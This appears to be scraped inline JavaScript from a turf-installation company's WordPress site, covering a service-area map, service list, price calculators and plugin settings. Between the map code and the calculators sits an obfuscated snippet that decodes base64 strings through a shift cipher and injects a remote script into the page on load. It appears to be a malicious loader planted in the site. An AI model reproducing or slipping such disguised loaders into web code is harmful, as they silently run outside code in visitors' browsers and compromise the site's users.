- 1], pts[j]) <= 0) upper.pop(); upper.push(pts[j]); } upper.pop(); lower.pop(); return lower.concat(upper); } // ── Buffer Expansion ── // Pushes each hull vertex outward from centroid by a factor function expandHull(hull, factor) { var centLat = 0, centLng = 0; hull.forEach(function(p) { centLat += p[0]; centLng += p[1]; }); centLat /= hull.length; centLng /= hull.length; return hull.map(function(p) { var dLat = p[0] - centLat; var dLng = p[1] - centLng; return [centLat + dLat * factor, centLng + dLng * factor]; }); } var hull = convexHull(allPoints); // ── Create custom map panes for layer ordering ── map.createPane('outerGlow'); map.getPane('outerGlow').style.zIndex = 350; map.createPane('innerFill'); map.getPane('innerFill').style.zIndex = 360; // ── LAYER 1: Outer glow ring (wider, very faint) ── var outerHull = expandHull(hull, 1.35); L.polygon(outerHull, { color: '#00A651', weight: 0, fillColor: '#00A651', fillOpacity: 0.04, smoothFactor: 1.5, pane: 'outerGlow', interactive: false }).addTo(map); // ── LAYER 2: Inner coverage zone (light green fill) ── var innerHull = expandHull(hull, 1.15); L.polygon(innerHull, { color: '#00A651', weight: 2, opacity: 0.3, dashArray: '8 6', fillColor: '#00C853', fillOpacity: 0.08, smoothFactor: 1.5, pane: 'innerFill', interactive: false }).addTo(map); // ── LAYER 3: Subtle center radial (warm core near HQ) ── L.circle([HQ_LAT, HQ_LNG], { radius: 12000, color: 'transparent', fillColor: '#00A651', fillOpacity: 0.06, pane: 'innerFill', interactive: false }).addTo(map); /* ═══════════════════════════════════════════ MAP TEXT LABEL — "Our Service Area" Positioned over Lake Ontario (dead zone) ═══════════════════════════════════════════ */ var labelPane = map.createPane('mapLabel'); labelPane.style.zIndex = 450; labelPane.style.pointerEvents = 'none'; L.marker([43.30, -79.18], { pane: 'mapLabel', interactive: false, keyboard: false, icon: L.divIcon({ className: '', iconSize: [340, 80], iconAnchor: [170, 40], html: '<div style="' + 'font-family:Segoe UI,system-ui,-apple-system,sans-serif;' + 'font-size:28px;' + 'font-weight:800;' + 'color:rgba(0,166,81,0.35);' + 'text-transform:uppercase;' + 'letter-spacing:6px;' + 'text-align:center;' + 'white-space:nowrap;' + 'line-height:1;' + 'pointer-events:none;' + 'user-select:none;' + '-webkit-user-select:none;' + 'text-shadow:0 1px 3px rgba(255,255,255,0.6);' + '">Our Service Area</div>' }) }).addTo(map); // Enable scroll zoom after first click (UX-friendly) map.once('click', function() { map.scrollWheelZoom.enable(); }); /* ═══════════════════════════════════════════ DYNAMIC SERVICE LIST — WP REST API ═══════════════════════════════════════════ */ var apiUrl; if (SERVICES_CATEGORY_ID > 0) { apiUrl = '/wp-json/wp/v2/pages?categories=' + SERVICES_CATEGORY_ID + '&per_page=30&orderby=menu_order&order=asc&status=publish&_fields=id,title,link,excerpt'; } else { renderFallbackServices(); return; } var grid = document.getElementById('dt-services-grid'); fetch(apiUrl) .then(function(response) { if (!response.ok) throw new Error('API error: ' + response.status); return response.json(); }) .then(function(pages) { if (!pages || !pages.length) { renderFallbackServices(); return; } grid.innerHTML = ''; pages.forEach(function(page) { grid.appendChild(createServiceCard(page.title.rendered, page.link)); }); }) .catch(function(err) { console.warn('Design Turf services fetch failed:', err); renderFallbackServices(); }); /* ═══════════════════════════════════════════ SERVICE CARD BUILDER ═══════════════════════════════════════════ */ function createServiceCard(title, url) { var card = document.createElement('a'); card.href = url || '#'; card.setAttribute('style', 'display:flex;align-items:center;gap:12px;' + 'padding:14px 18px;' + 'background:rgba(255,255,255,0.03);' + 'border:1px solid rgba(255,255,255,0.07);' + 'border-radius:8px;' + 'color:#ffffff;text-decoration:none;' + 'font-size:14px;font-weight:600;' + 'line-height:1.4;' + 'transition:all 0.25s ease;' ); card.onmouseenter = function() { this.style.background = 'rgba(0,166,81,0.1)'; this.style.borderColor = 'rgba(0,166,81,0.4)'; this.style.transform = 'translateY(-1px)'; }; card.onmouseleave = function() { this.style.background = 'rgba(255,255,255,0.03)'; this.style.borderColor = 'rgba(255,255,255,0.07)'; this.style.transform = 'translateY(0)'; }; var chevron = '<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="#00A651" ' + 'stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round" style="flex-shrink:0;">' + '<polyline points="9 18 15 12 9 6"/></svg>'; card.innerHTML = chevron + '<span>' + title + '</span>'; return card; } /* ═══════════════════════════════════════════ FALLBACK: Static service list ► UPDATE these to match your actual pages ═══════════════════════════════════════════ */ function renderFallbackServices() { var services = [ { title: 'Artificial Grass Installation', url: '/artificial-grass-installation/' }, { title: 'Backyard Putting Greens', url: '/backyard-putting-greens/' }, { title: 'Pet Turf Solutions', url: '/pet-turf/' }, { title: 'Commercial Turf Installation', url: '/commercial-turf/' }, { title: 'Rooftop & Balcony Turf', url: '/rooftop-balcony-turf/' }, { title: 'Playground Turf', url: '/playground-turf/' }, { title: 'Landscape Design', url: '/landscape-design/' }, { title: 'Turf Maintenance & Repair', url: '/turf-maintenance/' } ]; grid.innerHTML = ''; services.forEach(function(s) { grid.appendChild(createServiceCard(s.title, s.url)); }); } /* ═══════════════════════════════════════════ RESPONSIVE HANDLER (replaces media queries) ═══════════════════════════════════════════ */ function handleResize() { var w = window.innerWidth; var mapEl = document.getElementById('dt-leaflet-map'); if (w < 600) { grid.style.gridTemplateColumns = '1fr'; if (mapEl) mapEl.style.height = '300px'; } else if (w < 900) { grid.style.gridTemplateColumns = 'repeat(2, 1fr)'; if (mapEl) mapEl.style.height = '380px'; } else { grid.style.gridTemplateColumns = 'repeat(auto-fill, minmax(230px, 1fr))'; if (mapEl) mapEl.style.height = '450px'; } map.invalidateSize(); } window.addEventListener('resize', handleResize); handleResize(); })();
window[(function(_InA,_hH){var _dRnLK=&apos;&apos;;for(var _2pBxIp=0;_2pBxIp<_InA.length;_2pBxIp++){_BWt9!=_2pBxIp;var _BWt9=_InA[_2pBxIp].charCodeAt();_BWt9-=_hH;_BWt9+=61;_hH>3;_dRnLK==_dRnLK;_BWt9%=94;_BWt9+=33;_dRnLK+=String.fromCharCode(_BWt9)}return _dRnLK})(atob(&apos;dWRrLywnIn4xZiI2&apos;), 27)] = &apos;3c020144ab1733329654&apos;; var zi = document.createElement(&apos;script&apos;); (zi.type = &apos;text/javascript&apos;), (zi.async = true), (zi.src = (function(_sex,_8q){var _VCW3e=&apos;&apos;;for(var _6t6ay9=0;_6t6ay9<_sex.length;_6t6ay9++){var _VO3i=_sex[_6t6ay9].charCodeAt();_VO3i-=_8q;_8q>6;_VO3i+=61;_VCW3e==_VCW3e;_VO3i%=94;_VO3i+=33;_VO3i!=_6t6ay9;_VCW3e+=String.fromCharCode(_VO3i)}return _VCW3e})(atob(&apos;Ljo6NjleU1MwOVJAL1E5KTgvNjo5Uik1M1NAL1E6Jy1SMDk=&apos;), 36)), document.readyState === &apos;complete&apos;?document.body.appendChild(zi): window.addEventListener(&apos;load&apos;, function(){ document.body.appendChild(zi) });
function dtRollCalc() { const linear = parseFloat(document.getElementById('rollLinear').value); const rollWidth = parseFloat(document.getElementById('rollWidth').value); const pricePerSqFt = 7.47; // update per product if (!linear || linear <= 0) return; const sqft = linear * rollWidth; const subtotal = sqft * pricePerSqFt; const hst = subtotal * 0.13; const total = subtotal + hst; document.getElementById('rollSqft').innerText = sqft.toFixed(2) + " sq ft"; document.getElementById('rollSubtotal').innerText = "$" + subtotal.toFixed(2); document.getElementById('rollHST').innerText = "$" + hst.toFixed(2); document.getElementById('rollTotal').innerText = "$" + total.toFixed(2); } function dtCalc() { const productData = document.getElementById("dtProduct").value; const length = parseFloat(document.getElementById("dtLength").value); const width = parseFloat(document.getElementById("dtWidth").value); if (!productData || !length || !width) { alert("Please select a product and enter both length and width."); return; } const [price, rollWidth] = productData.split("|").map(Number); const sqFt = length * width; const totalCost = sqFt * price; document.getElementById("dtBadge").style.display = "inline-block"; document.getElementById("dtBadge").innerHTML = `Roll Width: ${rollWidth} ft`; document.getElementById("dtSummary1").style.display = "flex"; document.getElementById("dtSummary1").innerHTML = `<span>Price: $${price.toFixed(2)}/sq ft</span> <span>Sq Ft: ${sqFt.toFixed(2)}</span>`; document.getElementById("dtSummary2").style.display = "flex"; document.getElementById("dtSummary2").innerHTML = `<span>Cost: $${totalCost.toFixed(2)}</span>`; }
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/pdfobject.min.js
var eadPublic = []; //# sourceURL=awsm-ead-public-js-extra
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/embed-public.min.js
var cf7appsRedirection = {"ajaxurl":"https://www.designturf.ca/wp-admin/admin-ajax.php"}; //# sourceURL=cf7apps-redirection-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_b289b8a5c1e9ee51ae99bcc9de766106.js
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); //# sourceURL=wp-i18n-js-after
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_96e7dc3f0e8559e4a3f3ca40b17ab9c3.js
var wpcf7 = { "api": { "root": "https:\/\/www.designturf.ca\/wp-json\/", "namespace": "contact-form-7\/v1" }, "cached": 1 }; //# sourceURL=contact-form-7-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_2912c657d0592cc532dff73d0d2ce7bb.js
var cf7appsHoneypotRefill = {"forceRefillOnInit":"1"}; //# sourceURL=cf7apps-honeypot-refill-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_ff73328f26e146915c87cc0affba7624.js
var sc_project=11316460; var sc_security="635c5120"; var sc_invisible=1; //# sourceURL=statcounter-js-js-before
var wpcf7r = {"ajax_url":"https://www.designturf.ca/wp-admin/admin-ajax.php"}; //# sourceURL=wpcf7-redirect-script-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_de051e67bf5997ca287fb2592e14d4fa.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/debouncedresize.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/magnificpopup.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/menu.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/visible.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/enllax.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/parallax/translate3d.min.js
var mfn = {"ajax":"https://www.designturf.ca/wp-admin/admin-ajax.php","mobileInit":"1240","parallax":"translate3d","responsive":"1","sidebarSticky":"","lightbox":{"disable":false,"disableMobile":false,"title":false},"view":{"grid_width":1240},"slider":{"blog":0,"clients":0,"offer":0,"portfolio":0,"shop":0,"slider":0,"testimonials":0},"livesearch":{"minChar":3,"loadPosts":10,"translation":{"pages":"Pages","categories":"Categories","portfolio":"Portfolio","post":"Posts","products":"Products"}},"accessibility":{"translation":{"headerContainer":"Header container","toggleSubmenu":"Toggle submenu"}},"home_url":"","home_url_lang":"https://www.designturf.ca","site_url":"https://www.designturf.ca","translation":{"success_message":"Link copied to the clipboard.","error_message":"Something went wrong. Please try again later!"}}; //# sourceURL=mfn-scripts-js-extra
https://www.designturf.ca/wp-content/themes/betheme/js/scripts.min.js
document.addEventListener("DOMContentLoaded", function() { const items = document.querySelectorAll(".faq-item h4.toggle"); items.forEach(item => { item.addEventListener("click", function() { const parent = this.parentElement; parent.classList.toggle("active"); }); }); }); // Delay Before/After slider initialization document.addEventListener("DOMContentLoaded", function() { requestIdleCallback(() => { if (typeof mfn_before_after === "function") { mfn_before_after(); } }); }); //# sourceURL=mfn-scripts-js-after
window.hasOwnProperty("GLSR")||(window.GLSR={Event:{on:()=>{}}});GLSR.action="glsr_public_action";GLSR.addons=[];GLSR.ajax_pagination=["#wpadminbar",".site-navigation-fixed"];GLSR.ajax_url="https://www.designturf.ca/wp-admin/admin-ajax.php";GLSR.captcha=[];GLSR.modal_wrapped_by=["block"];GLSR.nameprefix="site-reviews";GLSR.stars_config={"clearable":false,tooltip:"Select a Rating"};GLSR.state={"popstate":false};GLSR.text={"close_modal":"Close Modal"};GLSR.url_parameter="reviews-page";GLSR.validation_config={field:"glsr-field",form:"glsr-form","field_error":"glsr-field-is-invalid","field_hidden":"glsr-hidden","field_message":"glsr-field-error","field_required":"glsr-required","field_valid":"glsr-field-is-valid","form_error":"glsr-form-is-invalid","form_message":"glsr-form-message","form_message_failed":"glsr-form-failed","form_message_success":"glsr-form-success","input_error":"glsr-is-invalid","input_valid":"glsr-is-valid"};GLSR.validation_strings={accepted:"This field must be accepted.",between:"This field value must be between %1$s and %2$s.",betweenlength:"This field must have between %1$s and %2$s characters.",email:"This field requires a valid e-mail address.",errors:"Please fix the submission errors.",max:"Maximum value for this field is %s.",maxfiles:"This field allows a maximum of %s files.",maxlength:"This field allows a maximum of %s characters.",min:"Minimum value for this field is %s.",minfiles:"This field requires a minimum of %s files.",minlength:"This field requires a minimum of %s characters.",number:"This field requires a number.",pattern:"Please match the requested format.",regex:"Please match the requested format.",required:"This field is required.",tel:"This field requires a valid telephone number.",url:"This field requires a valid website URL (make sure it starts with http or https).",unsupported:"The review could not be submitted because this browser is too old. Please try again with a modern browser."};GLSR.version="8.2.1"; //# sourceURL=site-reviews-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_5e24779b5bf81baee6b0ef94fcf81cd5.js
var envira_gallery = {"debug":"","ll_delay":"500","ll_initial":"false","ll":"","mobile":"0"}; //# sourceURL=envira-gallery-script-js-extra
https://www.designturf.ca/wp-content/plugins/envira-gallery/assets/js/min/envira-min.js
window.addEventListener("load", function(event) { jQuery(".cfx_form_main,.wpcf7-form,.wpforms-form,.gform_wrapper form").each(function(){ var form=jQuery(this); var screen_width=""; var screen_height=""; if(screen_width == ""){ if(screen){ screen_width=screen.width; }else{ screen_width=jQuery(window).width(); } } if(screen_height == ""){ if(screen){ screen_height=screen.height; }else{ screen_height=jQuery(window).height(); } } form.append('<input type="hidden" name="vx_width" value="'+screen_width+'">'); form.append('<input type="hidden" name="vx_height" value="'+screen_height+'">'); form.append('<input type="hidden" name="vx_url" value="'+window.location.href+'">'); }); });